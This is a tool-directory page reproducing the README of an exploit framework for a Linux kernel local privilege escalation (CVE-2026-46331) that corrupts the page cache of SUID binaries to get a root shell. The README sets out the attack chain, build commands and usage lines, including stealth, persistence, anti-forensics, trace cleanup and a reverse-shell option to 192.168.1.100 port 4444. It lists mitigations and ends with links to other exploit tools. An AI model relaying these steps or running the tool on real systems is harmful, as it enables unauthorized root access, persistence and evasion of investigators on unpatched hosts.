Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
dirtyclone-exploit β€” CVE-2026-46331 β€” Linux Kernel Local Privilege Escalation TC pedit + IPsec TEE Page Cache Corruption Β· Affected kernels: ≀ 6.12.9 | Kitploit
Tools/GitHubGitHub/vulnquest58/dirtyclone-exploit
Privilege EscalationPersistence MechanismsVulnerability AnalysisExploitationPost-ExploitationPenetration TestingLearning & EducationPayload DevelopmentBinary Exploitation
Share
GitHubvulnquest58/dirtyclone-exploit

dirtyclone-exploit

CVE-2026-46331 β€” Linux Kernel Local Privilege Escalation TC pedit + IPsec TEE Page Cache Corruption Β· Affected kernels: ≀ 6.12.9

View Repository
5139Jun 28, 2026Not yet reviewed

DirtyClone Exploit Framework

CVE-2026-46331 β€” Linux Kernel Local Privilege Escalation TC pedit + IPsec TEE Page Cache Corruption Β· Affected kernels: ≀ 6.12.9

╔═══════════════════════════════════════════════════════════════╗
β•‘   ____  _      _         ____ _                              β•‘
β•‘  |  _ \(_)_ __| |_ _   _/ ___| | ___  _ __   ___           β•‘
β•‘  | | | | | '__| __| | | | |   | |/ _ \| '_ \ / _ \        β•‘
β•‘  | |_| | | |  | |_| |_| | |___| | (_) | | | |  __/        β•‘
β•‘  |____/|_|_|   \__|_, |\____|_|\___/|_| |_|\___|           β•‘
β•‘                    |___/                                     β•‘
╠═══════════════════════════════════════════════════════════════╣
β•‘  CVE-2026-46331 Β· v1.0.0 Β· FOR RESEARCH AND EDUCATION ONLY  β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

License: MIT CVE Kernel Language


⚠️ FOR EDUCATIONAL AND RESEARCH PURPOSES ONLY Use this framework exclusively in isolated lab environments that you own or have explicit written authorization to test. Unauthorized use is illegal and unethical.


πŸ“‹ Table of Contents

  • Vulnerability Overview
  • Attack Chain
  • Project Structure
  • Requirements
  • Build & Install
  • Usage
  • Python Modules
  • Defensive Mitigations
  • Timeline
  • References

πŸ”¬ Vulnerability Overview

CVE-2026-46331 is a local privilege escalation vulnerability in the Linux kernel (≀ 6.12.9) caused by a race condition between the TC (cls_act) pedit action and IPsec TEE-based packet duplication.

Root Cause

When a packet traverses the TC egress path with a pedit action that sets IHL = 15, the kernel's IPsec subsystem receives a malformed packet where the computed IP payload offset exceeds the actual packet boundaries. Under concurrent sendfile(2) operations, this mismatch allows an unprivileged user (inside a user namespace with CAP_NET_ADMIN) to corrupt read-only page cache entries of arbitrary files β€” including SUID binaries.

Impact

PropertyValue
CVSS 3.1 Score8.8 (HIGH)
Attack VectorLocal
Privileges RequiredLow (unprivileged user)
ImpactRoot shell (UID=0 EUID=0)
Affected versionsLinux kernel ≀ 6.12.9
Patched version6.12.10
Patch commita3f4d1c8...

πŸ”— Attack Chain

Unprivileged User (UID=1000)
         β”‚
         β–Ό
[1] Reconnaissance
    β”œβ”€ Kernel version check
    β”œβ”€ userns availability
    └─ Target binary profiling
         β”‚
         β–Ό
[2] Namespace Bypass
    β”œβ”€ unshare(CLONE_NEWUSER|CLONE_NEWNET)
    β”œβ”€ AppArmor profile hopping (fallback)
    └─ CAP_NET_ADMIN acquired
         β”‚
         β–Ό
[3] Network Infrastructure
    β”œβ”€ clsact qdisc on lo
    β”œβ”€ pedit filter (IHL=15)
    └─ IPsec ESP + TEE
         β”‚
         β–Ό
[4] Page Cache Corruption
    β”œβ”€ sendfile β†’ pedit trigger
    β”œβ”€ Page cache entry corrupted
    └─ Shellcode written to read-only binary
         β”‚
         β–Ό
[5] Privilege Escalation
    └─ execve(SUID binary) β†’ root shell
         β”‚
         β–Ό
[6-8] Post-Exploitation
    β”œβ”€ Persistence (6 mechanisms)
    β”œβ”€ Evasion / Anti-Forensics
    └─ Trace cleanup
         β”‚
         β–Ό
    🎯 ROOT SHELL (UID=0 EUID=0)

πŸ“ Project Structure

dirtyclone-exploit/
β”œβ”€β”€ Makefile                          # Build system
β”œβ”€β”€ README.md                         # This file
β”œβ”€β”€ LICENSE                           # MIT License
β”‚
β”œβ”€β”€ include/
β”‚   β”œβ”€β”€ exploit.h                     # Core types, flags, prototypes
β”‚   β”œβ”€β”€ packet_engine.h               # Packet crafting engine API
β”‚   β”œβ”€β”€ memory_ops.h                  # Page cache corruption API
β”‚   └── persistence.h                 # Persistence mechanism API
β”‚
β”œβ”€β”€ src/
β”‚   β”œβ”€β”€ main.c                        # Framework entry point
β”‚   β”œβ”€β”€ stage_env_analysis.c          # Phase 1: Reconnaissance
β”‚   β”œβ”€β”€ stage_namespace_bypass.c      # Phase 2: userns bypass
β”‚   β”œβ”€β”€ stage_network_setup.c         # Phase 3: TC/IPsec setup
β”‚   β”œβ”€β”€ stage_page_cache_corrupt.c    # Phase 4: Core exploit
β”‚   β”œβ”€β”€ stage_privilege_escalation.c  # Phase 5: LPE
β”‚   β”œβ”€β”€ stage_persistence.c           # Phase 6: Persistence
β”‚   β”œβ”€β”€ stage_evasion.c               # Phase 7: Anti-forensics
β”‚   β”œβ”€β”€ stage_cleanup.c               # Phase 8: Trace removal
β”‚   β”œβ”€β”€ memory_ops.c                  # Page cache primitives
β”‚   β”œβ”€β”€ packet_engine.c               # Raw packet crafting
β”‚   └── persistence.c                 # Persistence implementations
β”‚
β”œβ”€β”€ modules/
β”‚   β”œβ”€β”€ packet_craft.py               # Python packet crafter (Scapy)
β”‚   └── exploit_analyzer.py           # Pre-exploit analysis tool
β”‚
β”œβ”€β”€ scripts/
β”‚   β”œβ”€β”€ setup_env.sh                  # Dependency install + build
β”‚   β”œβ”€β”€ cleanup.sh                    # System cleanup
β”‚   └── detect_targets.sh             # Vulnerable binary scanner
β”‚
└── payloads/
    └── README.md                     # Payload directory info

βš™οΈ Requirements

Compile-time

  • gcc β‰₯ 10
  • make
  • libcap-dev / libcap-devel

Runtime (Linux target)

  • Kernel ≀ 6.12.9
  • iproute2 (tc, ip)
  • iptables
  • Unprivileged user namespaces enabled

Python modules (optional)

pip install scapy

πŸ”§ Build & Install

# Clone
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit

# Auto setup (installs deps + builds)
sudo bash scripts/setup_env.sh

# Manual build
make all

# Debug build
make debug

# Clean
make clean

πŸš€ Usage

# Show help
./bin/dirtyclone --help

# Dry run (analysis only, no exploitation)
./bin/dirtyclone --test

# Basic exploitation (default target: /usr/bin/su)
sudo ./bin/dirtyclone

# Custom target with stealth + persistence
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist

# Reverse shell
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup

# Detect vulnerable targets first
bash scripts/detect_targets.sh

🐍 Python Modules

exploit_analyzer.py β€” Pre-Exploit Reconnaissance

# Analyze default target
python3 modules/exploit_analyzer.py

# Custom target
python3 modules/exploit_analyzer.py --target /usr/bin/sudo

# JSON output for automation
python3 modules/exploit_analyzer.py --json

# Scan all SUID binaries
python3 modules/exploit_analyzer.py --all-suid

packet_craft.py β€” Raw Packet Trigger

# Send exploit packets at offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234

# Custom interface and packet count
sudo python3 modules/packet_craft.py --iface eth0 --count 20

πŸ›‘οΈ Defensive Mitigations

MitigationCommand / Action
Update kernelUpgrade to β‰₯ 6.12.10 (primary fix)
Disable user namespacesecho 0 > /proc/sys/kernel/unprivileged_userns_clone
AppArmor restrictionsEnable apparmor with userns restriction profile
Audit TC peditauditctl -a always,exit -F arch=b64 -S unshare
File integrityDeploy AIDE or Tripwire on SUID binaries
Seccomp filtersBlock unshare() in production containers

πŸ“… Timeline

Download Tool

Related Tools

  • PEASS-ng

    PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)

  • PrivescCheck

    Privilege Escalation Enumeration Script for Windows

  • LinEnum

    Scripted Local Linux Enumeration & Privilege Escalation Checks

Most Popular

View all β†’

Discover the most used tools by our community.

  • 1

    Callisto

    jetp1ane/callisto

    Automated binary vulnerability analysis tool that decompiles executables via Ghidra, scans pseudo-C code with Semgrep, and validates findings using GPT-3.5-Turbo to reduce false positives.

    2.2k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    One-tap Android kernel exploit app for CVE-2026-43499, providing privilege escalation via kernel module loading, with offset extraction and on-device analysis tools.

    845
  • 3

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    446
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    375
  • 5

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    360
  • 6

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    335

Explore all tools

Browse our collection of tools

View all tools β†’